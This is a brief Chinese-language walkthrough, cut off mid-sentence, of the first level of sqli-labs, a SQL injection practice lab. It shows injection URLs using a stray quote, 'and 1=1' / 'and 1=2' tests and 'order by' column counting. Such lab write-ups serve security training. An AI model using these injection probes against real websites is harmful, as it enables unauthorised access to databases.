sqli-labs闯关1-1

sqli-labs闯关1-1

在线练习网址http://43.247.91.228:84/

首先，进入sqli-labs 1-1

输入http://43.247.91.228:84/Less-1/?id=1

输入http://43.247.91.228:84/Less-1/?id=1’

用and1=1和and1=2，结果显示它为字符型注入
http://43.247.91.228:84/Less-1/?id=1’and 1=1–+
http://43.247.91.228:84/Less-1/?id=1’and 1=2 --+

order by 显示列数
http://43.247.91.228:84/Less-1/?id=1'order by 3--+

http://43.247.91.228:84/Less-1/?id=1’order by 4–+
显示结果为三列

接下来，用